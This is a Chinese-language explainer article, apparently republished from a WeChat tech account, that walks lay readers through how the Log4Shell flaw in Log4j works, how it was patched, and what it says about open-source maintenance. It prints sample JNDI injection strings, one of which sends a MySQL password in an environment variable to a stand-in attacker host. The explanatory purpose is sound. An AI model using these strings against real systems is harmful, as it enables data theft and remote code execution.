最近讓互聯(lián)網(wǎng)「著火」的?Log4Shell?漏洞到底是什么?
如果你多少關(guān)注信息安全資訊,或許在最近幾天已經(jīng)頻繁聽到Log4Shell這個漏洞的名字——或者一些更具傳播性的說法,諸如「互聯(lián)網(wǎng)正在著火」「過去十年最嚴(yán)重的漏洞」「現(xiàn)代計算機歷史上最大漏洞」「難以想到哪家公司不受影響」之類(參見《洛杉磯時報》, 12 月 10 日 )。
這個被報道得神乎其神的 Log4Shell 漏洞 所針對的,是一個極為常用的 Java 庫 Log4j(詳見后文說明)。值得一提,這個漏洞最初是由一名中國工程師、阿里云安全團隊的 Chen Zhaojun 在 11 月下旬發(fā)現(xiàn)并提報的。
有記錄的利用 Log4Shell 漏洞發(fā)起的攻擊開始于 12 月 9 日,最初是針對微軟的 Minecraft 游戲 Java 版。但人們很快發(fā)現(xiàn) Log4Shell 的波及范圍遠(yuǎn)不止于此。根據(jù) GitHub 倉庫YfryTchsGD/Log4jAttackSurface中的攻擊案例截圖,Apple iCloud、QQ 郵箱、Steam 商店、Twitter、百度搜索等一系列國內(nèi)外主流服務(wù)或平臺均存在該漏洞。
好在,Log4j 已經(jīng)于 12 日 發(fā)布 2.15.0 版本 ,修復(fù)了漏洞,并且對于暫不能升級的舊版提供了臨時應(yīng)對方案。
受影響的大型平臺也作出快速響應(yīng)。10 日,Minecraft 發(fā)布 1.18.1 版,說明已修復(fù)了漏洞;亞馬遜發(fā)出 安全警告 稱,「正積極監(jiān)控該問題,并已在尋求解決方案」;IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣稱正在部署補丁;Apple 盡管沒有官方回應(yīng),但根據(jù) 11 日的測試,原本受到影響的 iCloud 似乎也已經(jīng)修復(fù)。此外,目前暫無因該漏洞導(dǎo)致重大安全事故的報道。
然而,由于該漏洞影響范圍之廣,受影響服務(wù)完成更新或修補仍需不少時間,因此近期內(nèi)風(fēng)險仍不可忽視。事實上,根據(jù)以色列安全公司 Check Point 的 監(jiān)測 ,截至 12 月 12 日凌晨(太平洋時間),該公司已攔截到超過 40 萬次針對該漏洞的攻擊嘗試,其中 45% 以上為已知惡意團體所發(fā)起。另根據(jù) BleepingComputer 的 報道 ,現(xiàn)已發(fā)現(xiàn)一些利用該漏洞安裝挖礦腳本、組建僵尸網(wǎng)絡(luò)和遠(yuǎn)程監(jiān)控的案例。
我對編程和信息安全都是外行,但圍繞 Log4Shell 這些抓人眼球的報道,不能不引起我的好奇;漏洞演示中簡單到極致的攻擊步驟——只是在對話框、搜索框里輸入一段特殊文本就能觸發(fā)——也令我希望一探究竟。
本文就是我在經(jīng)過粗淺研究后的筆記,旨在向與我類似的非專業(yè)用戶介紹 Log4Shell 漏洞的機制。時間和能力所限,難免有不準(zhǔn)確之處,敬請指正。
記錄員的故事
如果你跟我之前一樣,對這個漏洞的描述一頭霧水,不妨先通過下面這個比較粗略的比方來建立一個初步印象。
設(shè)想一個單位部門的門口有個登記處,里面坐著一個記錄員。每當(dāng)有人進(jìn)入,記錄員都會在一本訪客日志上記下一筆:
<某人> 于 <某日> <某時> 因 <某事> 來訪
要填寫的這些信息中,有些是記錄員在下筆之前并不知道的。比如,今天的日期、當(dāng)前的準(zhǔn)確時間,經(jīng)常需要看一眼日歷和手表才能確定;又比如,有的員工嫌報名字麻煩,就干脆報一個工號,讓記錄員回頭自己去花名冊里查。
某天,迎面跑來一個急匆匆的身影,還沒等記錄員問清姓名來意,就扔下一句:我趕路呢,來不及跟你嘮廢話登記了,你回頭打我這個號碼,我再跟你說。
老實的記錄員也沒多想,就記了一筆:
___ 于 12 月 10 日 9:41 因 ___ 來訪(回電話 138 XXXX XXXX 問后補)
后來,記錄員也確實根據(jù)來人要求,撥出了電話,追問對方的具體信息。
記錄員的做法有什么安全隱患呢?首先,他或許并沒有權(quán)限用內(nèi)部電話對外聯(lián)系,往最輕的方面來說,這也泄露了不對外的內(nèi)部號碼。此外,如果對方來者不善,在通話過程中各種誘導(dǎo)哄騙,記錄員還可能有意無意地泄露一些保密信息,以至做一些超越職權(quán)、不符合內(nèi)部規(guī)程的事情。
這也就是 Log4Shell 漏洞的核心:它利用 Log4j 這個「日志記錄員」看似不起眼、實則功能和權(quán)限都不少的模塊,通過誘使其對外連接攻擊者控制的服務(wù)器,達(dá)到收集隱私信息、執(zhí)行惡意代碼的目的。
漏洞是怎么運作的?
在形象認(rèn)識的基礎(chǔ)上,我們下面繼續(xù)從技術(shù)角度說明 Log4Shell 漏洞的原理。
Log4j是一個 Java 語言的庫(library)。所謂「庫」,通俗地說就是服務(wù)于特定功能、可以重復(fù)利用的軟件代碼;如果在開發(fā)其他軟件時需要用到這種功能,直接拿來套用就行了,避免重復(fù)勞動。
Log4j 庫所實現(xiàn)的功能就類似于上面故事里的記錄員——寫日志。由于 Java 是一種非常流行的語言,而 Log4j 是最主流、常用的 Java 庫之一,它的代碼遍及各類主流軟件和服務(wù);這就是 Log4Shell 波及范圍廣泛的原因。
Log4j 是根據(jù)配置文件中設(shè)定的「模板」來記錄日志的。為了增加靈活性,Log4j 的模板中可以留下一些特殊語法的「待定內(nèi)容」;在實際生成日志時,Log4j 會根據(jù)這些語法的指示,通過檢索、查詢、計算,將這些待定內(nèi)容替換為實際內(nèi)容,記錄到日志里——正如上面那個記錄員通過翻日歷、看手表、查花名冊,補齊訪客記錄里的空檔一樣。
那么,Log4j 都支持補齊哪些「待定內(nèi)容」呢?根據(jù) 文檔 ,這主要包括日期時間、運行環(huán)境信息(例如用戶名、Java 版本、系統(tǒng)語言)、事件信息等。
例如,如果在模板里寫${date:yyyy-MM-dd},那么 Log4j 就會將其替換為形如2021-12-12的當(dāng)前日期記錄下來;如果在模板里寫${java:version},Log4j 就會將其替換為形如Java version 1.7.0_67的實際 Java 版本記錄下來。
不過,除了這些比較常規(guī)的待定內(nèi)容,Log4j 還支持一種更為復(fù)雜的替換方式,稱為JNDI 查詢。JNDI(Java Naming and Directory Interface)是 Java 的一項內(nèi)置功能,它允許 Java 程序在一個目錄——可以想象為一個花名冊或電話本——中查詢數(shù)據(jù)。
這里,就要提到很多攻擊例證里出現(xiàn)的字樣——LDAP。LDAP(輕型目錄訪問協(xié)議,Lightweight Directory Access Protocol)是網(wǎng)絡(luò)世界里一種特別常見的實現(xiàn)「花名冊」功能的協(xié)議。簡而言之,LDAP 通過一種標(biāo)準(zhǔn)化的語法(稱為識別名,Distinguished Names 或 DN)記錄身份信息。例如:
CN=John Appleseed,OU=Sales,O=Apple
表示一個常用名( commonName)為 John Appleseed,所屬組織單位( organizationUnit)為 Sales,所屬組織( organization)為 Apple 的對象(通常對應(yīng)一個用戶)。
LDAP 支持通過 URL 地址的形式查詢信息。例如,訪問如下地址:
ldap://ldap.example.com/cn=John%20Appleseed
就會向 LDAP 服務(wù)器 ldap.example.com 請求常用名為 John Appleseed 的用戶信息。
根據(jù)文檔,JNDI 查詢的語法是${jndi:<查詢位置>}。一般而言,這里的「查詢位置」是一個取決于軟件運行環(huán)境的內(nèi)部位置,因此 Log4j 會自動給它加上java:comp/env的前綴再查詢。這就好比在公司內(nèi)部說「查花名冊」,默認(rèn)就是指查該公司雇員的名冊一樣。
但特殊地,如果查詢位置里包含冒號(:)——最可能的情況就是一個固定的 URL 地址,例如${jndi:ldap://ldap.example.com/a},那么,Log4j 在查詢時就不會追加上述前綴,而是直接向這個寫死的地址查詢數(shù)據(jù)。
實現(xiàn)漏洞的鏈條就此串了起來。上述功能組合在一起,造成的結(jié)果是:Log4j 在記錄日志時,可以通過 JNDI 接口,向一個外部的 LDAP 服務(wù)器發(fā)送請求。
換言之,只要設(shè)法讓使用了 Log4j 的程序記下一條內(nèi)容形如${jndi:ldap://ldap.example.com/a}的日志,那么記下這條日志的同時,程序就會試圖向 ldap.example.com請求查詢數(shù)據(jù),然后解析查詢結(jié)果并寫進(jìn)日志。
乍看上去,這似乎也沒什么大不了。但是,一方面,日志的來源是廣泛而多樣的,其內(nèi)容非常容易被操縱。另一方面,記錄日志往往是由一個內(nèi)部服務(wù)器或組件負(fù)責(zé)的,它們可能根本不應(yīng)該與一個外部網(wǎng)址通訊。兩個因素結(jié)合,就使得 Log4Shell 漏洞很容易觸發(fā),危害性又很高。
例如,很多服務(wù)器會通過日志記錄訪客的瀏覽器信息(即 HTTP 請求頭中的 User-Agent)、登錄的用戶名,或者搜索內(nèi)容。因此,只要將這些信息替換成${jndi:ldap://ldap.example.com/a}之類構(gòu)造出的內(nèi)容,就可以通過簡單的瀏覽、登錄或搜索操作,往服務(wù)器里塞進(jìn)一條特殊構(gòu)造的日志,致使服務(wù)器訪問這條惡意日志中的地址。
需要指出,攻擊文本中所用的 ldap.example.com甚至不需要是一個真正的 LDAP 服務(wù)器。因為僅僅是讓本不應(yīng)訪問外網(wǎng)的服務(wù)器訪問外網(wǎng)并留下痕跡,就已經(jīng)具有一定危害后果了。
留意觀察現(xiàn)有攻擊例證,會發(fā)現(xiàn)很多例子用到的攻擊文本中頻繁出現(xiàn) dnslog.cn、 ceye.io等域名。這些網(wǎng)站的功能類似,都是允許生成一個隨機網(wǎng)址,該網(wǎng)址被訪問時,會記下訪問者的 IP 地址等信息并即時顯示在頁面上。因此,這類網(wǎng)站經(jīng)常被用來測試注入式漏洞——包括這次的 Log4Shell 漏洞——的效果:如果能成功操作被攻擊主機訪問自己生成的網(wǎng)址、留下訪問記錄,則表明攻擊是有效的。
例如,在下面的截圖中,攻擊者將構(gòu)造的字符串作為用戶名來登錄 iCloud 賬戶。顯然,這個字符串進(jìn)入了 iCloud 服務(wù)器的日志中,進(jìn)而觸發(fā)漏洞,訪問了字符串中所包含的域名:
類似地,在下面的 QQ 郵箱截圖中,攻擊者將構(gòu)造的字符串填進(jìn)了郵箱的搜索框,同樣導(dǎo)致了騰訊服務(wù)器被記錄:
又因為 JNDI 查詢的語法是可以嵌套的,這進(jìn)一步將可能泄露的內(nèi)容范圍,擴大到了任何 Log4j 所能接觸到的運行環(huán)境信息。正如一些用戶在 GitHub 上的漏洞討論中 指出 ,形如${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}的惡意日志,就會引導(dǎo) Log4j 首先將內(nèi)層的${env:MYSQL_PASSWORD}替換為真實的 MySQL 數(shù)據(jù)庫密碼,然后通過 URL 泄露給 www.attacker.com。
此外,注意到 JNDI 的本意在于查詢——不僅是發(fā)出請求,而且會記錄和處理查詢結(jié)果,因此這個漏洞不僅會導(dǎo)致服務(wù)器信息泄漏,而且允許攻擊者向服務(wù)器傳遞任意危險內(nèi)容,可能還包括執(zhí)行惡意代碼。例如,一個正常的 LDAP 服務(wù)器在收到查詢請求時,返回的只是查詢到的用戶信息。但如果這是一個攻擊者控制的「假」LDAP 服務(wù)器,那么它可以返回任意惡意內(nèi)容——例如一段包含竊取或破壞功能的代碼。
例如,上文提到的 BleepingComputer 報道中提到一個現(xiàn)有的真實案例:攻擊者將一段使用 base64 編碼的終端腳本附在 JNDI 查詢指令中,導(dǎo)致被攻擊機器下載并安裝了挖礦程序:
這種利用程序不經(jīng)檢查地將文本信息還原為對象的功能,注入和執(zhí)行惡意代碼的漏洞,術(shù)語稱之為「反序列化漏洞」(deserialization vulnerabilities),本身并非新鮮事物,在 Java 安全語境下也多有討論。但或許是因為 Log4j 所服務(wù)的日志功能相對沒那么引人注目,這個漏洞才蟄伏許久方被發(fā)現(xiàn)。
最后,當(dāng)今網(wǎng)絡(luò)服務(wù)往往是由相互通訊的多個組件構(gòu)成的。因此,即使直接接收惡意信息的組件不受漏洞影響,這則惡意信息也可能通過數(shù)據(jù)傳輸,在某一步被一個后端組件所記錄和執(zhí)行;這極大擴展了漏洞的攻擊面和危險程度。
Cloudflare 就在針對本漏洞的 博文 中舉例說:假設(shè)一個物流數(shù)據(jù)系統(tǒng),它讀取包裹上的二維碼信息,通過 Log4j 記錄下來,然后傳給后臺服務(wù)進(jìn)一步檢索處理。那么,攻擊者就可以將惡意構(gòu)造的信息藏在二維碼里,通過上述流程傳給后臺服務(wù)執(zhí)行。
漏洞易補,根源難除
盡管 Log4Shell 漏洞的危害很大,但好在修復(fù)起來思路并不復(fù)雜。正如修復(fù)漏洞的 Log4j 2.15 版 更新記錄 所示,其主要的修復(fù)方法就是加強對 JNDI 的限制,包括默認(rèn)僅限訪問本地的 LDAP 服務(wù)器(而非任意遠(yuǎn)程位置)、禁用大部分 JNDI 通訊的協(xié)議等。
而對于暫沒有條件升級到新版 Log4j 的服務(wù),也可以通過設(shè)置參數(shù)禁止 JNDI 查詢,或者直接把 JNDI 查詢相關(guān)代碼切割出去,從而實現(xiàn)彌補漏洞。
此外,「存在漏洞」并不代表「會被利用該漏洞攻擊」。正如 Ars Techinica 的文章所 指出 ,網(wǎng)絡(luò)服務(wù)往往設(shè)有多層的防護(hù)機制。即使其中的一個組件存在漏洞,其風(fēng)險也可能被其他組件的安全機制所阻擋和彌補。
還是以開頭的情景為例,那家公司可能從硬件層面禁止用內(nèi)部分機撥打外部號碼,或者監(jiān)控、阻斷員工未經(jīng)授權(quán)的對外通訊,從而杜絕「記錄員」被利用的可能性。
然而,哪怕 Log4Shell 的風(fēng)波隨著補丁推出逐漸消退,這一事件也能促使很多超越漏洞本身的思考。
首先是一個軟件系統(tǒng)設(shè)計的問題:很多評論都驚訝地指出,Log4j 的權(quán)限和「膽子」是不是太大了?區(qū)區(qū)一個「記錄員」的角色,怎么能擅自訪問未經(jīng)鑒別的外部地址、甚至任意執(zhí)行外部代碼呢?即使記錄不全需要后續(xù)完善,難道不也應(yīng)該先原樣抄錄(例如技術(shù)上對變量做轉(zhuǎn)義處理,即當(dāng)作純文本存儲),然后交給職有專司的其他組件來查詢和補充嗎?
特別是當(dāng)人們找出罪魁禍?zhǔn)住?dāng)初引入這個漏洞的 功能提案 ,發(fā)現(xiàn)提案者的主要理由只是為了「方便」后,就更加有理由懷疑這個 JNDI 查詢功能的加入是否過于草率了。
對此,一種解釋是,這是過時開發(fā)思路的遺留。例如,Hacker News 用戶 @toyg 指出 ,早年的 Java 開發(fā)偏好這種大而全、一個組件實現(xiàn)多種功能的思路,Log4j 這些令人后怕的「豐富」功能可能就因此而來;他還 認(rèn)為 ,LDAP 傳統(tǒng)上是一個跑在內(nèi)網(wǎng)上,被推定為「安全」的服務(wù),這也容易讓人忘記設(shè)置安全防護(hù)措施。
其次,作為一個由社區(qū)維護(hù)的開源項目,Log4j 此次漏洞也讓人反思開源維護(hù)者是否得到了應(yīng)有的支持和理解。事件發(fā)生后,Log4j 維護(hù)者 Volkan Yazici 在一條 推文 中不無委屈地說:
Log4j 的維護(hù)者們廢寢忘食地提供補救措施;發(fā)補丁、寫文檔、提交 CVE(通用漏洞披露,信息安全行業(yè)通用的安全漏洞披露機制——譯注)、回復(fù)詢問,等等。但這都攔不住人們來責(zé)難我們,就為了一項我們未收分文的工作,為了一項我們也討厭、但為了向后兼容不得不保留的功能。
進(jìn)而有人從維護(hù)者 Ralph Goers 的GitHub 支持者頁面 發(fā)現(xiàn)一段頗為謙卑的陳述:
我用業(yè)余時間開發(fā) Log4j 等開源項目,所以一般只 [有空] 解決那些最感興趣的問題。我一直夢想全職做開源,希望能靠你的支持夢想成真。
而略顯諷刺的是,這段話下面赫然顯示「3 人贊助了 rgoers 的工作」(情況曝光后數(shù)量略有增加)。
既然 Log4j 的使用如此廣泛、在各大主流服務(wù)中任勞任怨,那么大廠的擔(dān)當(dāng)和風(fēng)范何在?因此有觀點 主張 ,使用開源項目的公司有道德上的責(zé)任贊助和支持項目的維護(hù)者;還有人 提出 ,大廠即使不提供金錢支持,是不是至少應(yīng)該義務(wù)提供技術(shù)力量,輔助改進(jìn)整個項目,而不是自掃門前雪,修好自己的服務(wù)了事?
還有觀點 指出 ,這次安全漏洞再次提醒我們,開源不等于安全。盡管開源代碼是可以審計的,但很多時候并不會真正有人去認(rèn)真檢查;相反,這還可能讓人們放松警惕,為 Log4Shell 這樣的嚴(yán)重漏洞留下長期潛伏的空間。
此外,維持舊版兼容性與盡快升級保障安全之間的矛盾,使用外部庫節(jié)約開發(fā)時間與減少不必要對外依賴之間的矛盾,也是軟件設(shè)計相關(guān)的經(jīng)典議題,它們同樣在這次漏洞之后的討論中被大量提及。
至于作為普通用戶,應(yīng)該如何解讀和應(yīng)對這次事件,其實再簡單不過——與各位在這兩年的公共衛(wèi)生局面中學(xué)到的經(jīng)驗是一樣的:不傳謠,相信科學(xué),勤聽新聞,做好個人防護(hù)。
本文來自微信公眾號 “少數(shù)派”(ID:sspaime),作者:PlatyHsu,36氪經(jīng)授權(quán)發(fā)布。